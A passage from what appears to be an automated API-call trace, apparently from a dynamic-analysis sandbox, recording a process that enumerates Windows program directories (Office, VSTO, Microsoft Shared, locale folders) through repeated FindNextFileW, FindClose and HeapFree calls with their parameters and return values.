hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.572] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0283.572] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.572] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0283.573] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.573] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0283.573] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.573] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0283.573] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.573] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0283.574] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.574] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0283.574] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.574] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0283.574] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.574] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1 [0283.575] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.575] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0283.575] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.575] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0283.576] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.576] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x109400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0283.577] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.577] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0283.577] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.577] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0283.578] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.578] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0283.578] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.578] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0283.578] FindClose (in: hFindFile=0x543d10 | out: hFindFile=0x543d10) returned 1 [0283.578] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3db0968 | out: hHeap=0x4e0000) returned 1 [0283.580] FindNextFileW (in: hFindFile=0x543b10, lpFindFileData=0x34bf584 | out: lpFindFileData=0x34bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0283.582] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.582] FindNextFileW (in: hFindFile=0x543c50, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0283.582] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3db0968 | out: hHeap=0x4e0000) returned 1 [0283.582] FindNextFileW (in: hFindFile=0x543b10, lpFindFileData=0x34bf584 | out: lpFindFileData=0x34bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0283.584] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.584] FindNextFileW (in: hFindFile=0x543890, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 0 [0283.584] FindClose (in: hFindFile=0x543890 | out: hFindFile=0x543890) returned 1 [0283.584] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3db0968 | out: hHeap=0x4e0000) returned 1 [0283.584] FindNextFileW (in: hFindFile=0x543b10, lpFindFileData=0x34bf584 | out: lpFindFileData=0x34bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0283.585] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3db0968 | out: hHeap=0x4e0000) returned 1 [0283.585] FindNextFileW (in: hFindFile=0x543b10, lpFindFileData=0x34bf584 | out: lpFindFileData=0x34bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0283.585] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3db0968 | out: hHeap=0x4e0000) returned 1 [0283.585] FindNextFileW (in: hFindFile=0x543b10, lpFindFileData=0x34bf584 | out: lpFindFileData=0x34bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0283.955] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3db0968 | out: hHeap=0x4e0000) returned 1 [0284.007] FindNextFileW (in: hFindFile=0x543b10, lpFindFileData=0x34bf584 | out: lpFindFileData=0x34bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TextConv", cAlternateFileName="")) returned 1 [0284.007] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0284.007] FindNextFileW (in: hFindFile=0x543890, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0284.008] FindClose (in: hFindFile=0x543890 | out: hFindFile=0x543890) returned 1 [0284.008] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d80950 | out: hHeap=0x4e0000) returned 1 [0284.008] FindNextFileW (in: hFindFile=0x543b10, lpFindFileData=0x34bf584 | out: lpFindFileData=0x34bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Triedit", cAlternateFileName="")) returned 1 [0284.008] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0284.008] FindNextFileW (in: hFindFile=0x543e90, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0284.008] FindClose (in: hFindFile=0x543e90 | out: hFindFile=0x543e90) returned 1 [0284.008] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d80950 | out: hHeap=0x4e0000) returned 1 [0284.008] FindNextFileW (in: hFindFile=0x543b10, lpFindFileData=0x34bf584 | out: lpFindFileData=0x34bf584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VC", cAlternateFileName="")) returned 1 [0284.008] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d80950 | out: hHeap=0x4e0000) returned 1 [0284.008] FindNextFileW (in: hFindFile=0x543b10, lpFindFileData=0x34bf584 | out: lpFindFileData=0x34bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VGX", cAlternateFileName="")) returned 1 [0284.008] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d80950 | out: hHeap=0x4e0000) returned 1 [0284.008] FindNextFileW (in: hFindFile=0x543b10, lpFindFileData=0x34bf584 | out: lpFindFileData=0x34bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 1 [0284.009] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3db0968 | out: hHeap=0x4e0000) returned 1 [0284.009] FindNextFileW (in: hFindFile=0x543910, lpFindFileData=0x34bf08c | out: lpFindFileData=0x34bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x18888, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0284.009] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0284.009] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x29080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0284.009] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d80950 | out: hHeap=0x4e0000) returned 1 [0284.011] FindNextFileW (in: hFindFile=0x543b10, lpFindFileData=0x34bf584 | out: lpFindFileData=0x34bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 0 [0284.011] FindClose (in: hFindFile=0x543b10 | out: hFindFile=0x543b10) returned 1 [0284.011] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0284.011] FindNextFileW (in: hFindFile=0x5438d0, lpFindFileData=0x34bf800 | out: lpFindFileData=0x34bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0284.011] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0284.011] FindNextFileW (in: hFindFile=0x5438d0, lpFindFileData=0x34bf800 | out: lpFindFileData=0x34bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0284.012] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0284.012] FindNextFileW (in: hFindFile=0x543990, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0284.013] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d80950 | out: hHeap=0x4e0000) returned 1 [0284.013] FindNextFileW (in: hFindFile=0x543a10, lpFindFileData=0x34bf584 | out: lpFindFileData=0x34bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0284.013] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d80950 | out: hHeap=0x4e0000) returned 1 [0284.013] FindNextFileW (in: hFindFile=0x543a10, lpFindFileData=0x34bf584 | out: lpFindFileData=0x34bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadc", cAlternateFileName="")) returned 1 [0284.013] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0284.013] FindNextFileW (in: hFindFile=0x543b10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0284.014] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d80950 | out: hHeap=0x4e0000) returned 1 [0284.014] FindNextFileW (in: hFindFile=0x543a10, lpFindFileData=0x34bf584 | out: lpFindFileData=0x34bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, 